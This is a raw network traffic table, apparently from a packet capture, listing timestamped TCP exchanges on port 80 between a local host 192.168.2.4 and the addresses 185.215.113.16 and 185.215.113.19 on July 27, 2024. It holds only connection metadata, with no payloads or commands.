Jul 27, 2024 05:39:23.405725002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.405730963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.405770063 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.553600073 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.553641081 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.553713083 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.553786039 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.553783894 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.553819895 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.553855896 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.553878069 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.553878069 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.553888083 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.553894043 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.553905964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.553921938 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.553936005 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.553957939 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.553976059 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554008961 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554033995 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.554064035 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.554090977 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554115057 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.554116011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554148912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.554168940 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554186106 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.554198027 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554233074 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.554241896 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554261923 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.554281950 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554296970 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.554311037 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554330111 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.554348946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554362059 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.554379940 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.554409981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.556665897 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.556699991 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.556725979 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.556731939 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.556745052 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.556785107 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.556796074 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.556849957 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.556859016 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.556888103 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.556910038 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.556937933 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.556946993 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.556983948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.556999922 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.557010889 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557039022 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.557045937 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557060003 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.557094097 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.557156086 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557184935 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557207108 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.557216883 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557233095 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.557249069 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557266951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.557296991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.557513952 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557542086 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557573080 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557632923 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557662964 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557678938 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.557698011 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557724953 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.557826042 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561290979 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561357975 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561362028 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561391115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561410904 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561424017 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561439037 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561456919 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561475039 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561489105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561518908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561522007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561542988 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561554909 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561578035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561588049 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561605930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561631918 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561644077 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561666965 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561691999 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561700106 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561719894 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561733007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561755896 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561778069 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561790943 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561831951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561840057 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561873913 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561896086 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561903954 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.561928988 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.561956882 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.562175989 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.562207937 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.562235117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.562239885 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.562261105 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.562271118 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.562293053 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.562321901 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.701869965 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.701915979 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.701942921 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.701950073 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.701971054 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.701982021 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702016115 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702043056 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702049971 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702083111 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702116013 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702136040 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702183008 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702188015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702217102 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702244043 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702250004 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702270031 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702284098 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702296972 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702333927 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702347040 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702379942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702399015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702411890 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702442884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702442884 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702476978 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702497959 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702503920 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702575922 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702575922 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702639103 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702640057 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702672958 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702701092 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702706099 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702723980 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702739954 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702770948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702790976 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702801943 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702828884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702832937 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702867985 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702881098 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702899933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702903986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702929974 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702936888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.702950954 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.702986956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.703068018 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.703099966 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.703131914 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.703155041 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.703162909 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.703192949 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.703228951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.704535007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704565048 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704626083 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.704626083 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704658985 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704677105 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.704718113 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.704722881 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704756021 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704786062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704787970 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.704812050 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.704818964 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704834938 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.704852104 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704869986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.704885960 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704900026 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.704940081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.704948902 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.704981089 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.705013990 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.705033064 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.705070972 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.705108881 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.705142021 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.705163002 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.705176115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.705203056 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.705209970 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.705225945 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.705259085 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.705329895 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.705359936 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.705390930 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.705408096 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.705423117 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.705437899 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.705492020 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.707926989 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.707956076 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.707988024 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.707990885 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708014965 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708064079 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708112001 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.708143950 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.708168030 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708175898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.708206892 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.708210945 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708236933 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708240986 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.708259106 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708272934 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.708306074 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.708334923 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708384037 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.708410025 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708416939 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.708446980 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.708451986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708476067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.708498001 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709101915 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709136009 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709158897 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709167957 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709192038 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709209919 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709218025 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709252119 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709264994 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709285021 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709311008 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709335089 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709353924 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709384918 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709417105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709419966 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709430933 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709465981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709793091 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709853888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709868908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709886074 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709913969 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709939003 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.709944963 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.709978104 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710006952 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710011005 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710035086 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710069895 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710103989 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710117102 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710130930 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710160017 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710191011 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710191965 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710216045 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710237980 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710253954 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710285902 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710316896 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710344076 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710345984 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710386038 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710393906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710422993 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710427046 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710447073 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710458040 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710475922 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710493088 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710539103 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710565090 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710571051 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710603952 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710606098 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710639000 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710648060 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710660934 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710679054 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710699081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710732937 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710747004 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710803986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710846901 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710901976 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.710918903 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.710971117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.793936014 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.793950081 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.793962002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.793999910 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.794003963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.794012070 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.794023991 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.794049978 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.794059992 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.794070005 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.794085979 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.794096947 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.794117928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.794117928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.794117928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.794142962 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.794145107 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.794156075 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:23.794188023 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:23.811347961 CEST	80	49490	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:23.811461926 CEST	49490	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:23.812100887 CEST	49490	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:23.816986084 CEST	80	49490	185.215.113.19	192.168.2.4
